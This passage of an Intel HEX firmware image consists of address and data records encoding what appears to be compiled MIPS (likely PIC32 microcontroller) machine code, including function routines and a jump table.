b000000000100022414\n:10168c00e2c5400b000000001800c48f1c00c58f81\n:10169c00933d410f000000000400401400000000c6\n:1016ac0021100000e2c5400b0000000001000224e4\n:1016bc00e2c5400b000000001800c48f1c00c58f51\n:1016cc004e28410f000000000400401400000000f0\n:1016dc0021100000e2c5400b0000000001000224b4\n:1016ec00e2c5400b000000001800c48f1c00c58f21\n:1016fc007428410f0000000004004014000000009a\n:10170c0021100000e2c5400b000000000100022483\n:10171c00e2c5400b000000001800c48f1c00c58ff0\n:10172c001944410f000000000400401400000000a8\n:10173c0021100000e2c5400b000000000100022453\n:10174c00e2c5400b000000001800c48f1c00c58fc0\n:10175c009242410f00000000040040140000000001\n:10176c0021100000e2c5400b000000000100022423\n:10177c00e2c5400b000000002110000021e8c0036e\n:10178c001400bf8f1000be8f1800bd270800e003a7\n:10179c0000000000e0fdbd271c02bfaf1802beaf69\n:1017ac0021f0a0032002c4af2402c5af2110c00059\n:1017bc002802c2a32802c393120002242700621439\n:1017cc00000000001400c227212040002402c58f15\n:1017dc00cbb8400f000000001000c0af06c6400b95\n:1017ec00000000001400c3271000c28f21106200fb\n:1017fc0021204000200005248fbc400f0000000079\n:10180c001000c28f200042241000c2af2402c48feb\n:10181c007b4b410f00000000801802001000c28fab\n:10182c002b104300efff4014000000002402c48f73\n:10183c007b4b410f00000000801002001400c327f6\n:10184c002002c48f212860002130400047b9400f8e\n:10185c00000000001fc6400b000000002002c48fd7\n:10186c002402c58f574a410f000000000000000001\n:10187c0021e8c0031c02bf8f1802be8f2002bd27b7\n:10188c000800e00300000000e0ffbd271c00bfaf14\n:10189c001800beaf21f0a003211080002400c5afba\n:1018ac002000c2a32000c2931000c3272120600097\n:1018bc00212840004125410f000000000400401485\n:1018cc00000000002110000068c6400b0000000062\n:1018dc002400c28f0000428005004014000000006c\n:1018ec002000c393080002241600621400000000bc\n:1018fc001000c28f2120400000a0023c5c45452412\n:10190c002400c68fbe51410f000000000d00401492\n:10191c00000000001000c28f2120400000a0023cfb\n:10192c005c4545242400c68f9255410f00000000f1\n:10193c0004004014000000002110000068c6400b99\n:10194c00000000002000c3932000c29300a0043cc0\n:10195c005c45842421286000213040007126410f11\n:10196c0000000000040040140000000021100000e2\n:10197c0068c6400b000000001000c28f2120400000\n:10198c0000a0023c5c454524010006241849410f87\n:10199c000000000021e8c0031c00bf8f1800be8fa0\n:1019ac002000bd270800e00300000000e0ffbd2779\n:1019bc001c00bfaf1800beaf21f0a00321108000a7\n:1019cc002400c5af2000c2a32000c2930a00032448\n:1019dc006f004310000000000b004328060060104d\n:1019ec0000000000080003243b004310000000002e\n:1019fc002fc7400b00000000100003248800431088\n:101a0c000000000012000324a90043140000000091\n:101a1c002000c293212040002400c58f25c6400f12\n:101a2c000000000004004014000000002110000021\n:101a3c0030c7400b00000000050002241000c2afac\n:101a4c00a7c6400b000000001000c38f0200022448\n:101a5c000c006210000000001000c48f059d023cb9\n:101a6c00703b4524010006241849410f000000007a\n:101a7c0004004014000000002110000030c7400b8f\n:101a8c00000000001000c28f010042241000c2af01\n:101a9c001000c28f0e00422cebff4014000000001f\n:101aac0002000424059d023c703b452421300000bb\n:101abc001849410f00000000040040140000000011\n:101acc002110000030c7400b000000000100022470\n:101adc0030c7400b000000002000c29321204000c2\n:101aec002400c58f25c6400f0000000004004014e0\n:101afc00000000002110000030c7400b0000000067\n:101b0c00040002241000c2afd5c6400b0000000038\n:101b1c001000c48f059d023c703b45240100062437\n:101b2c001849410f000000000400401400000000a0\n:101b3c002110000030c7400b000000001000c28fc5\n:101b4c00010042241000c2af1000c28f0800422cca\n:101b5c00efff40140000000001000424059d023c2e\n:101b6c007c3b4524010006241849410f000000006d\n:101b7c0004004014000000002110000030c7400b8e\n:101b8c00000000000100022430c7400b00000000e0\n:101b9c002000c29321204000059d023c883b452437\n:101bac0025c6400f00000000040040140000000097\n:101bbc002110000030c7400b00000000010002247f\n:101bcc001000c2af04c7400b000000001000c48f0f\n:101bdc00059d023c703b4524010006241849410f29\n:101bec000000000004004014000000002110000060\n:101bfc0030c7400b000000001000c28f01004224cf\n:101c0c001000c2af1000c28f0800422cefff40142e\n:101c1c00000000000100022430c7400b000000004f\n:101c2c002000c29321204000059d023c883b4524a6\n:101c3c0025c6400f00000000040040140000000006\n:101c4c002110000030c7400b0000000001000224ee\n:101c5c001000c2af28c7400b000000001000c48f5a\n:101c6c00059d023c703b4524010006241849410f98\n:101c7c0000000000040040140000000021100000cf\n:101c8c0030c7400b000000001000c28f010042243e\n:101c9c001000c2af1000c28f0800422cefff40149e\n:101cac00000000000100022430c7400b00000000bf\n:101cbc002110000021e8c0031c00bf8f1800be8f4c\n:0c1ccc002000bd270800e003000000001d\n:020000040000fa\n:020000041d03da\n:101cd800a8ffbd275400bfaf5000beaf4c00b7af40\n:101ce8004800b6af4400b5af4000b4af3c00b3af56\n:101cf8003800b2af3400b1af3000b0af21908000ef\n:101d08002188a0006000a6af211000002800a2af23\n:101d1800218000000000248201003326e0008010aa\n:101d28001600a4a325000224ea0082140200222639\n:101d380021a00000ffff4880e0ff0325ff0063307b\n:101d48001100642c21008010ffff5124801803002b\n:101d5800039d043c701d8424211883000000638cbb\n:101d680008006000000000009c20039dd41d039d16\n:101d7800d41d039d9020039dd41d039dd41d039d58\n:101d8800d41d039dd41d039dd41d039dd41d039d07\n:101d9800d41d039d8420039dd41d039d7820039d9d\n:101da800d41d039dd41d039db41d039d04009436ca\n:101db80001004224ffff4880e0ff0325ff00633055\n:101dc8001100642ce1ff8014ffff5124059d053ca0\n:101dd800a13ca5242110a8000000429002008432f2\n:101de800feff83320ba0640008008432fbff8332bd\n:101df8000400423021282002bd0040100ba06400de\n:101e080021a8000186c7400b21f0000021a840004e\n:101e1800010031260000228240201e00c0b01e00b2\n:101e2800059d073ca13ce7242118e20000006390cf\n:101e380021b096002140d50204006330f3ff6014fe\n:101e4800d0ff1e252e000324b0004350010022823b\n:101e58000010943621980000039d073c941ee52449\n:101e68001000072400800634ff0043307900642cfa\n:101e78009d02801001003126801803002118a3005c\n:101e88000000638c0800600000000000a820039d8b\n:101e9800f028039df028039df028039df028039d5a\n:101ea800f028039df028039df028039df028039d4a\n:101eb800f028039df028039df028039df028039d3a\n:101ec800f028039df028039df028039df028039d2a\n:101ed800f028039df028039df028039df028039d1a\n:101ee800f028039df028039df028039df028039d0a\n:101ef800f028039df028039df028039df028039dfa\n:101f0800f028039df028039df028039df028039de9\n:101f1800f028039df028039df028039df028039dd9\n:101f2800f028039df028039df028039df028039dc9\n:101f3800f028039df028039df028039df028039db9\n:101f4800f028039df028039df028039df028039da9\n:101f5800f028039df028039df028039df028039d99\n:101f6800f028039df028039df028039df028039d89\n:101f7800f028039df028039df028039df028039d79\n:101f8800f028039df028039df028039df028039d69\n:101f9800f028039df028039df028039df028039d59\n:101fa8001429039df028039d0029039df028039d13\n:101fb800f028039df028039df028039df028039d39\n:101fc800f028039df028039df028039df028039d29\n:101fd800f028039df028039df028039df028039d19\n:101fe800f028039df028039df028039da028039d59\n:101ff800f028039df028039df028039df028039df9\n:10200800f028039df028039df028039df028039de8\n:10201800f028039df028039d4828039d4028039d30\n:102028003028039dbc28039dac28039df028039d00\n:102038004028039df028039df028039dcc28039d8c\n:10204800f028039df028039d2028039da028039dc8\n:10205800f028039df028039d2827039df028039d61\n:10206800b825039df028039df028039d9c21039d1e\n:10207800080094366fc7400b0100422402009436d2\n:102088006fc7400b01004224000894366fc7400b0d\n:1020980001004224010094366fc7400b010042241e\n:1020a800211000025400bf8f5000be8f4c00b78f24\n:1020b8004800b68f4400b58f4000b48f3c00b38f02\n:1020c8003800b28f3400b18f3000b08f0800e003c1\n:1020d8005800bd277f4c410f21284002ffff0324f1\n:1020e8000cff43102188600247c7400b01001026ef\n:1020f8002a0002241f0002112e00032421100001cf\n:1021080053ff431421f00000010022822a00032417\n:102118001305431000409436059d043ca13c8424db\n:10212800211882000000639001003126040063300a\n:1021380049ff60102198000040181300c098130050\n:102148000100312621987300219862020000228242\n:10215800059d043ca13c8424211882000000639062\n:1021680004006330f4ff6014d0ff732699c7400b56\n:10217800039d073c6000a28f00005e8c01003126a1\n:102188000100a2806000a38f0400632493c7400b62\n:102198006000a3af780002241600a2a38000943642\n:1021a8000007823209014010c000823200108432d8\n:1021b8001000823206000324170340100b986400b5\n:1021c8006000a28f07004324f8ff02242410620055\n:1021d8000000448c0400458c080042242448410f28\n:1021e8006000a2af21a840002120a002bb53410fec\n:1021f80021280000120340040080023c2120a00294\n:1022080021280000bb53410f1000a0af1503401454\n:102218002120a0021c00a0af00018232ff0140145f\n:1022280000028232f80140141c00a38f1900622ab0\n:1022380052054014000000001c00a48f0a008228e8\n:102248000f004010059d023c2120a002bb53410f06\n:10225800212800003c0540102120a0021b55410ff9\n:10226800000000003b05401421b840001c00a58f69\n:102278000200a3283705601400000000059d023cf9\n:102288007044458cbb53410f2800a48f12054104ac\n:102298001c00a28f1c00a78fedfff6241000b6af1c\n:1022a8009d47410f2024167c2800a2af2120a002c0\n:1022b8008746410f212840001b55410f212040002f\n:1022c80021b8400021a84000211800001800a3af41\n:1022d8000a00e22e64054014059d033ca0436324d4\n:1022e800020005240200062414000a240400678c56\n:1022f8000c00e0541600a6a30000628c2b10e2022a\n:10230800080040541600a6a30100a6242128c000f6\n:102318002034067cf5ffaa14080063241600a6a33f\n:10232800140005240008973221286502fffff732c0\n:1023380021b0b6002510770223b0d6032b10020077\n:102348000300833223b0c2022b1803000400823238\n:10235800a904401023b0c30202008232f6044010e0\n:1023680001008232010084322d0002242b00032454\n:102378000a106400212040007f4c410f21284002b0\n:10238800271002002b100200218002020a00c05a06\n:1023980008009432300004247f4c410f2128400269\n:1023a800271002002b100200ffffd626f9ffc016e7\n:1023b800218002020800943206c9400bffff9e32ba\n:1023c800c0180300059d043c904384242118830011\n:1023d8000000668c0400678c2120a002d833410fce\n:1023e8002128000021204000212860000a0006243e\n:1023f800bf32410f21380000300044247f4c410f88\n:1024080021284002271002002b100200218002021e\n:102418001600a283ffff4324201c037ce8ff40141e\n:102428001600a3a31000a28f0c0040181300622a04\n:10243800300004247f4c410f21284002271002005d\n:102448002b1802001000a28fffff422421800302f4\n:10245800f7ff401c1000a2af1300622ad2044014f8\n:102468002014137c120002241600a2a3eeff732688\n:102478002e0004247f4c410f21284002ffff032433\n:10248800020043101600b483010010269d47410f37\n:102498002120800221204000a948410f1800a58f63\n:1024a8001b55410f2120400021a84000ffff862630\n:1024b8002034067c21b80000250080121600a6a34f\n:1024c800c0300600059d053c9043a5242130a60098\n:1024d8000400c78c0000c68c2120a002d833410f0d\n:1024e8002128e00221204000212860000a0006245b\n:1024f800bf32410f21380000300044247f4c410f87\n:10250800212840021600b483271002002b10020075\n:10251800c0181400059d073c9043e7242118e300e8\n:102528000000668c0400678c2120a0022128e002ac\n:10253800bf32410f21800202ffff86262034067c2d\n:1025480021a8400021b86000ddff80161600a6a370\n:102558000900601200000000300004247f4c410f85\n:1025680021284002271002002b100200ffff7326cb\n:10257800f9ff601621800202e7fdc05300002482a3\n:10258800e5fdc05a00002482200004247f4c410f3e\n:1025980021284002271002002b100200ffffd62638\n:1025a800f9ffc0162180020248c7400b00002482b0\n:1025b800750002241600a2a3c000943600078232d8\n:1025c800fbfe401400108432c0008232080240141e\n:1025d8002016147c280440046000a28f1000823268\n:1025e800f30340106000a48f6000a38f0000628c8a\n:1025f800040063246000a3afc31f020021a84000a9\n:1026080021b86000212060000600810423480200f0\n:102618002b100900231803000300943621a8200179\n:1026280023b8620003006016c00084322598b70200\n:102638000100732e40000224b20382101800a4afd8\n:102648004100822cbb004014800002241800a58f92\n:102658007e03a21001000224c0000224b800a214c4\n:102668001600b683010002248d04e0121600a2a30e\n:10267800059d033ca04363240300022402001624a2\n:10268800150006240400648c2b28e4020900a054d9\n:102698001600b6a3030497500000648c010044247c\n:1026a80020b4027cff008230f6ff46140800632441\n:1026b8001600b6a32a10d302a500405420b4137cf8\n:1026c8002a1076020b98c2020500c013004082321d\n:1026d800030082322b10020023f0c2030040823232\n:1026e8009e004010c40883322a107e029a0040548b\n:1026f80023f0d303c4088332400802249a006214ea\n:1027080021f000002a10de02a200401404008232e8\n:102718006d0440100800823269ca400b21b00000e5\n:10272800730002241600a2a36000a58f0000a48ce9\n:102738000400a5244504801021a8800000008280a0\n:10274800460440100100822423b8440001004224ba\n:10275800ffff4380fdff605423b844006000a5af2d\n:1027680003006012080094322b1077020bb8620243\n:102778002b10fe022340d703ffff943221b0000044\n:102788000bb002010c0080162198c0020a006052aa\n:10279800ffff1624200004247f4c410f212840020b\n:1027a800271002002b100200ffff7326f9ff6016a6\n:1027b80021800202ffff1624fffff726ffff1324e4\n:1027c8000a00f312000000000000a4822128400241\n:1027d8007f4c410f0100b526271002002b10020084\n:1027e800fffff726f8fff3162180020249fd801249\n:1027f80021a8c00247fda012200004247f4c410fed\n:1028080021284002271002002b100200218002021a\n:10281800ffc9400bffffb5266f0002241600a2a3d4\n:102828006ac8400b40009436650002241600a2a333\n:102838006ac8400b000194366ac8400b1600a2a370\n:102848006000a78f0000e38c100086320400e524a6\n:10285800c32703000026040002120300251082008b\n:102868002024027c2e00c0101600a4a301004224dc\n:10287800ff0042300200422c2a0040541400a3a357\n:102888001400a4a31500a3a3020017241400b5275d\n:10289800dac9400b6000a5af1600a2a369c8400bb7\n:1028a80020009436670002241600a2a36ac8400bd1\n:1028b80000029436660002241600a2a36ac8400be0\n:1028c80000049436100082322118c0000a18e20071\n:1028d80025a0740000002282ff0043307900642c98\n:1028e80065fd8014010031261600a2a31600b52745\n:1028f800dac9400b01001724470002241600a2a3de\n:10290800200094366ac8400b000294364500022421\n:102918001600a2a3200094366ac8400b0001943622\n:102928001400a3a3010017241400b527dac9400b2b\n:102938006000a5af4cff8010010002241600b6838a\n:102948002a10d3025fff40102a10760220b4137cad\n:10295800b4c9400b1600b6a3c40883324008022449\n:10296800740262102b101e00c008833280080224f3\n:1029780065ff62142a10de020300c22bfeffc8277f\n:1029880021f000000af002012a10de0260ff401068\n:10299800040082325901401023b0d603020082326b\n:1029a800c002401001008232010084322d0002244e\n:1029b8002b0003240a106400212040007f4c410fa3\n:1029c80021284002271002002b1002002180020259\n:1029d8000a00c01208008232300004247f4c410fe4\n:1029e80021284002271002002b100200ffffd626e4\n:1029f800f9ffc0162180020208008232ffff423030\n:102a0800dacb400b2400a2affcff6228030040147d\n:102a18002a107300490240541c00a38fc50160129c\n:102a2800211000004002827e239862021300622e69\n:102a3800a2034014120002241600a2a32120a0021f\n:102a4800bb53410f21280000c00140141600b68373\n:102a58001b55410f2120a0021800a2af059d173c6d\n:102a68009043f726000a833200020224f70162101d\n:102a78001500632a2340d303bb006016fbff15250e\n:102a880000088232b9004054ffffb52603008332a4\n:102a98002b18030004008232b900401023a8a302b7\n:102aa80002008232cc0240100100823201008432de\n:102ab8002d0002242b0003240a106400212040006a\n:102ac8007f4c410f21284002271002002b100200e2\n:102ad800218002020a00a01a080082323000042471\n:102ae8007f4c410f21284002271002002b100200c2\n:102af800ffffb526f9ffa0162180020208008232e6\n:102b0800ffff42301c00a2af1600a2831800a48f5a\n:102b180021280000c01002002110e2020000468cab\n:102b2800d833410f0400478c300044247f4c410fb8\n:102b3800212840021600a383271002002b10020050\n:102b4800c01803002118e3020000668c0400678c9b\n:102b58001800a48f21280000bf32410f21800202f3\n:102b680021f040000400601621b0600000088232a5\n:102b78003f004050200094322e0004247f4c410f27\n:102b8800212840021600a3832000a3af27100200cb\n:102b98002b100200ffff64242024047c2180020201\n:102ba800260060101600a4a300028232ffff423004\n:102bb8001800a2af1800a58f0300a0102510d60397\n:102bc8002a0040501600a0a3c02004002120e402df\n:102bd8000000868c0400878c2120c003d833410f65\n:102be8002128c002300044247f4c410f2128400294\n:102bf8001600a883271002002b100200c018080036\n:102c08002118e3020000668c0400678c2120c003b1\n:102c18002128c00221800202bf32410f2c00a8af38\n:102c28002c00a88fffff04252024047c21f04000fd\n:102c380021b06000dfff00151600a4a32000a78fb5\n:102c4800239867020a00605220009432300004245e\n:102c58007f4c410f21284002271002002b10020050\n:102c6800ffff7326f9ff60162180020220009432cc\n:102c78000200801645000424650004247f4c410f9f\n:102c880021284002271002002b1002002180020296\n:102c98001000a28f39024004231002002b000424e4\n:102ca8007f4c410f21284002271002002b10020000\n:102cb800218002021000a28f6666133c67667326a5\n:102cc8001800530010200000c317020021284002fa\n:102cd80083200400232082007f4c410f300084248d\n:102ce8001000a38f271002002b3002001800730079\n:102cf80010100000c327030021284002218006028b\n:102d0800831002002310440040200200c01002007b\n:102d180021108200232062007f4c410f3000842460\n:102d2800271002002b100200218002021c00a28f33\n:102d3800f9fb405000002482f7fba05a00002482cf\n:102d4800200004247f4c410f212840022710020054\n:102d58002b100200ffffb526f9ffa0162180020202\n:102d680048c7400b00002482ffffb52603008332ca\n:102d78002b1803000400823249ff401423a8a30241\n:102d880008008232ffff42300b0040141c00a2af43\n:102d98000a00a01a02008232200004247f4c410f4e\n:102da80021284002271002002b100200ffffb52641\n:102db800f9ffa01621800202020082320a024010a6\n:102dc80001008232010084322d0002242b000324ea\n:102dd8000a106400212040007f4c410f2128400246\n:102de800271002002b100200c4ca400b21800202e7\n:102df8001802400410008232e80140106000a38fde\n:102e08006000a28f0000558c21b800000400422405\n:102e18008bc9400b6000a2af6000a38f0000758cc7\n:102e2800040063246000a3af2120a002bb53410f1c\n:102e380021280000f2fc41042120a0020080023c6d\n:102e480026a85500030094362120a002212800005e\n:102e5800bb53410f1000a0afeffc40501c00a0afc7\n:102e68002120a0029a54410f1000a5271000a28f1c\n:102e7800ffff422440180200211062006666163cdb\n:102e88006766d6261800560010b00000c317020067\n:102e980083b0160023b0c2020100c206ffffd62687\n:102ea8001000b6af232016009d47410f2024047c54\n:102eb80021204000a948410f2128a0022800a2afe4\n:102ec800059d023c6444458cbb53410f2800a48fe8\n:102ed8003d024004059d023c6844448cbb53410fad\n:102ee8002800a58fccfc405c1c00b6af0100d6269c\n:102ef8001000b6af88c8400b1c00b6af080082327d\n:102f0800ffff42300300c0122400a2af5a00401055\n:102f1800200004240200823276014010010082322f\n:102f2800010084322d0002242b0003240a106400bf\n:102f3800212040007f4c410f212840022710020029\n:102f48002b10020021800202c008823240080324ac\n:102f5800230243108008032428024310300004246d\n:102f6800ffff6426c018040040400400200082329d\n:102f7800059d073c9043e72421a0e30021f00401cc\n:102f8800401817001c00a3afffff42302000a2af7b\n:102f9800fdff02241800c213809804004000022498\n:102fa8001800a48f450082104100822c2100401493\n:102fb800800002241800a58f4c00a21027181300c7\n:102fc800c00002241e00a2500000868e1600a483b2\n:102fd8007f4c410f21284002271002002b100200cd\n:102fe80021800202f8ff9426fdffde27fdff022460\n:102ff800eaffc217fcff73262400a28f46fb40504d\n:103008000000248244fbc05a0000248220000424cb\n:103018007f4c410f21284002271002002b1002008c\n:10302800ffffd626f9ffc0162180020248c7400bd1\n:1030380000002482e6ff80541600a4830000868ed8\n:103048000400878e2120a002d833410f2128e002f6\n:1030580021204000212860000a000624bf32410fc9\n:1030680021380000300042242024027cf6cb400b9b\n:103078001600a4a3200004247f4c410f21284002fd\n:10308800271002002b100200ffffd626a1ffc01256\n:1030980021800202200004247f4c410f2128400295\n:1030a800271002002b100200ffffd626f1ffc016e2\n:1030b80021800202c8cb400b0200823227101e007a\n:1030c8001c00a78f041047000620d5032000c33337\n:1030d800252044000610d7030b2043000700843046\n:1030e80030008424f6cb400b1600a4a31c00a78f45\n:1030f8000418670006107502200066322510620069\n:1031080006287702059d043c38448324059d073c26\n:103118004c44e4240b10a6002000a58f0a18850053\n:103128000f0042302118620000006480f6cb400b8b\n:103138001600a4a31600a2a32120a002bb53410f8e\n:103148002128000042fe40101600b683059d173c5a\n:103158001c00a58f2320b6009d47410f2024047c26\n:103168002120a0028746410f2128400021a84000c5\n:103178001b55410f21204000212040002b57410fb3\n:103188002c00a2af2120a0024d45410f212840006c\n:103198006044e48ebb53410f212840000c01401cc1\n:1031a8002c00a38f6044e58e4f45410f2120a002db\n:1031b80021a840001b55410f212040000100c426d2\n:1031c800c0200400059d073c9043e7242120e4002b\n:1031d8000400858c1800a2af0500a01421b8e000f7\n:1031e8000000848c2b20440047008050059d023c41\n:1031f800c0181600059d043c9043842421188300c0\n:103208000400648c370180500000638c059d023ceb\n:103218006844458ca948410f2120a00221a84000fc\n:103228001c00a58fffffa2242120a0021b55410fdf\n:103238001000a2af1800a2af000a833200020224d5\n:103248000dfe62142340d3031500632a14000224e0\n:103258001800a78f1d00e0100a9843002120e00005\n:10326800212800000a000624bf32410f213800003f\n:1032780025104300150040141800aa8fabcc400b52\n:1032880021b00000212040000a0006242138000057\n:10329800bf32410f2c00a2af251043000b00401491\n:1032a8002c00aa8f212040012128c0020a000624f0\n:1032b800d833410f21380000212860002520620002\n:1032c800ffff7326efff801421b060001600a28371\n:1032d8002a186202e8fd60102340d303232053001c\n:1032e8009d47410f2024047c212840002120a00272\n:1032f8008746410f1600b3a31b55410f21204000fc\n:103308009fca400b1800a2af6c44458ca948410fd6\n:103318002120a00221a840001c00a38f01006224e4\n:103328002120a0021b55410f1000a2af9bca400be1\n:103338001800a2afc3c9400b23f0c2033e016004ca\n:10334800271003001b55410f2120a00221b0400087\n:103358005801c012059d033c9843632401000524cd\n:10336800140007240400668c0a00c05423986502e0\n:103378000000628c2b10c20206004054239865029c\n:103388000100a524f7ffa7140800632414000524ee\n:10339800239865021900622ad70040100000000037\n:1033a800ee49410fff0064322120a0024f45410f32\n:1033b8002128400021a840009d47410f2024137c6c\n:1033c80021b840002b57410f2120c0022120a00224\n:1033d8004d45410f2128400021204000a948410fb8\n:1033e8002128e0021b55410f2120400021b0400058\n:1033f80091fb601221b800002120c0020dcd400bc6\n:10340800212800002128e0020a000624d833410fb1\n:103418002138000021286000ffff732621b04000fa\n:1034280085fb601221b86000212040000a000624b4\n:10343800bf32410f2138000025104300f1ff4050f2\n:103448002120c00291c8400b1c00a48f0f01e0127c\n:103458001600a2a30300032402001624000104247a\n:103468002110000011000a242b28e20291fca0542c\n:103478001600b6a3900057102b28a4020100672459\n:10348800023704000029020020b4037cff00e33067\n:103498002510c500f4ff6a1400210400afc9400bd1\n:1034a8001600b6a3cc004014c0088332800802245a\n:1034b80047fd6214300004247f4c410f212840024c\n:1034c80027100200200085322b1002005800032428\n:1034d800780004240b206500212840027f4c410f0e\n:1034e80021800202271002002b10020076ca400b2e\n:1034f8002180020295fe4010c0088232cfcb400bdb\n:103508002000042401000224db00e0121600a2a31c\n:1035180003000324020016244000042421100000a4\n:1035280016000a242b28e20262fca0541600b6a357\n:10353800650057102b28a4020100672442370400b5\n:10354800c028020020b4037cff00e3302510c5002a\n:10355800f4ff6a14c0200400afc9400b1600b6a3dc\n:103568006000a58f0000b38c020022820400a5240d\n:103578006000a5af98c7400b020031262d00042437\n:10358800212840027f4c410f1000a2af27100200f3\n:103598002b1002002fcb400b218002020000758cfb\n:1035a80021b80000040063248bc9400b6000a3af5e\n:1035b8000000828c040084246000a4afc31f0200b2\n:1035c80021a8400021b8600084c9400b2120600078\n:1035d80071cc400b211060003efd401020000424f7\n:1035e800b2ca400b0000000048fd40101600a2833c\n:1035f80078cb400b2000042408008232ffff5e30a5\n:103608000c00c017020082320a00c01a0000000035\n:10361800200004247f4c410f21284002271002007b\n:103628002b100200ffffd626f9ffc01621800202e8\n:103638000200823258004050010094320100843266\n:103648002b0002242d0003240b10640001c9400b39\n:10365800212040006000a58f0700a324f8ff022462\n:1036680024106200080047246000a7af0000558cb2\n:103678008bc9400b0400578c07004324f8ff022431\n:10368800241862000400648c0000628c0800632423\n:103698006000a3af2118800021a8400084c9400b16\n:1036a80021b880002b20a402fdfb801001004424d7\n:1036b800afc9400b1600b6a371ffa0100100672424\n:1036c800afc9400b1600b6a39cffa01001006724e9\n:1036d800afc9400b1600b6a3eeff5624aac8400b8c\n:1036e8001000b6af2b104300dffc4010000a8332f5\n:1036f80086cc400b059d023c9d47410f2024137c3e\n:1037080021b840002b57410f2120c0022120a002e0\n:103718004d45410f2128400021204000a948410f74\n:103728002128e0021b55410f2120400021b0400014\n:1037380000cd400b21b8000014fb401020000424e9\n:10374800e0c8400b000000001b55410f00000000be\n:1037580021b840002b57410f212040002120a00212\n:103768004d45410f212840001800a2af21a8e002d2\n:103778001000a0afb6c8400b21b00000ee49410fc1\n:10378800ff0064322120a0024f45410f212840004c\n:1037980090c8400b21a840001dfb80122000042483\n:1037a80001c9400b000000001600a2a330fb401422\n:1037b800239862022ffbe0162e000424ffff022448\n:1037c80056c9400b1600a2a3ffffd6261000b6afbd\n:1037d80088c8400b1c00b6af71ca400b20000424f7\n:1037e800300004247f4c410f21284002271002009a\n:1037f8002b100200dacb400b218002027f4c410fd4\n:103808002128400227100200200085322b100200d8\n:1038180058000324780004240b2065002128400266\n:103828007f4c410f21800202271002002b1002005a\n:10383800dacb400b218002022120a0021b55410f48\n:1038480021986202d6cc400b21b04000059d093c6e\n:1038580030443525d1c9400b2120a0026000a5af16\n:10386800dac9400b21b80000010002241600a2a307\n:10387800cbc8400b010005240800a22e25ff4010ec\n:103888000300032452ca400b010016241000a22e84\n:10389800f1fe40100300032452ca400b0100162415\n:1038a8000a00a22e73fb4010059d033c52ca400b30\n:1038b80001001624e6cc400b212800002014137cbc\n:1038c80050cc400b1600a2a3ffff42302400a2af49\n:0838d800c7cb400b21b000003a\n:020000040000fa\n:020000041d03da\n:1038e000c0ffbd273c00bfaf3800beaf21f0a00332\n:1038f0004000c4af4400c5af2118c0004c00c7afa2\n:103900005400c28f4800c3a33000c2a34800c29332\n:1039100000a0033cdc5663249c00688c00a0033ca0\n:10392000dc566324e000638c3000042423388300d9\n:1039300000a0033cdc566324e400668c00a0033c3a\n:10394000dc566324e800658c00a0033cdc5663244d\n:10395000e000648c00a0033cdc566324f400638c1c\n:10396000040009241000a9af1400a8af1800a7afe5\n:103970001c00a0af2000a6af2400a5af2800a4af74\n:103980002c00a3af4400c48f212840004c00c68ff8\n:1039900001000724023c410f000000000400401415\n:1039a0000000000021100000c5ce400b0000000008\n:1039b0003000c29304004014000000000100022403\n:1039c000c5ce400b0000000001000424e30d410fb0\n:1039d0000000000084ce400b000000002120000009\n:1039e000e30d410f000000002118400000a0023c40\n:1039f000dc5642248c00428c2b1043000400401003\n:103a00000000000021100000c5ce400b00000000a7\n:103a100088bf023cd060428c00014230efff40146e\n:103a20000000000002000224408282a300a0023ca9\n:103a3000dc5642249c00448c00a0023cdc5642240c\n:103a4000a400458c3000c3935000c28f0600401084\n:103a50000000000000a0023cdc564224bc00429062\n:103a60009bce400b000000002110000000a0063c8f\n:103a7000dc56c6248c00c68c00a0073c9957e7246e\n:103a80001000a7af1400a2af1800a6af01000224d7\n:103a90001c00a2af010002242000a2af4000c68f8c\n:103aa000213860008dff400f000000002118400009\n:103ab0003000c293160062140000000000a0023c17\n:103ac000dc5642249c00438c00a0023cdc5642247d\n:103ad000f800428c18006200122000003400c4afcd\n:103ae000eb51023c1f8542343400c38f1900620041\n:103af000101000004211020021204000240e410f4e\n:103b00000000000001000224c5ce400b00000000b0\n:103b10002110000021e8c0033c00bf8f3800be8f99\n:103b20004000bd270800e00300000000c0ffbd27e3\n:103b30003c00bfaf3800beaf21f0a0034000c4afcf\n:103b4000c40c410f0000000000a0023cdc564224df\n:103b50009c00438c00a0023cdc564224ec00428cca\n:103b600018006200122000003000c4afeb51023c8c\n:103b70001f8542343000c38f19006200101000000e\n:103b80004211020021204000240e410f00000000dd\n:103b9000010002241000a2af400002241400a2afd2\n:103ba0001800c22721204000059d023c38fd452415\n:103bb000020006242138000038ce400f000000002b\n:103bc00009004010000000004000c48f1800c22708\n:103bd00021284000574a410f000000000100022444\n:103be000fbce400b000000002110000021e8c003c4\n:103bf0003c00bf8f3800be8f4000bd270800e003a7\n:103c000000000000e8ffbd271400bfaf1000beafea\n:103c100021f0a0031800c4af1c00c5af1800c48f6a\n:103c20001c00c58f73db400f0000000021e8c003bb\n:103c30001400bf8f1000be8f1800bd270800e003de\n:103c400000000000b0ffbd274c00bfaf4800beaf72\n:103c500021f0a0035000c4af2110a0005400c2a363\n:103c60001900c0a35400c2930800422c0400401461\n:103c700000000000211000006ecf400b000000008b\n:103c80001c00c22721204000212800002700062414\n:103c90007152410f000000001c00c227212040008b\n:103ca000059d023c3cfd452402000624214b410faa\n:103cb000000000009880828f140040100000000077\n:103cc0001c00c227020042242120400000a0023c28\n:103cd000f06a45242ab9400f000000003000022499\n:103ce0003e00c2a35400c2931c00c32723006324d8\n:103cf000212060002128400003000624c6b6400fa2\n:103d0000000000004dcf400b0000000030000224f6\n:103d10001e00c2a35400c2931c00c32703006324e7\n:103d2000212060002128400003000624c6b6400f71\n:103d30000000000000a0023cdc564224d400428c6b\n:103d40001800c2a368cf400b000000001c00c2276f\n:103d5000212040007b4b410f00000000ff0042305b\n:103d6000211840001900c2931c00c5271000a0af05\n:103d7000200004241400a4af5000c48f2130600040\n:103d80002138400038ce400f0000000004004010f1\n:103d900000000000010002246ecf400b0000000074\n:103da0001800c293ffff43241800c3a3e7ff401489\n:103db000000000002110000021e8c0034c00bf8f6c\n:103dc0004800be8f5000bd270800e003000000003f\n:103dd00088ffbd277400bfaf7000beaf21f0a00305\n:103de000211080007c00c5af8000c6af8400c7af43\n:103df0007800c2a37800c2930800422c040040144b\n:103e0000000000002110000005d0400b0000000061\n:103e10001c00c22721204000212800004700062462\n:103e20007152410f000000001c00c22721204000f9\n:103e3000059d023c3cfd452402000624214b410f18\n:103e400000000000020002241800c2a39880828fa4\n:103e50000c004010000000001800c2931c00c32793\n:103e6000211062002120400000a0023cf06a45249d\n:103e70002a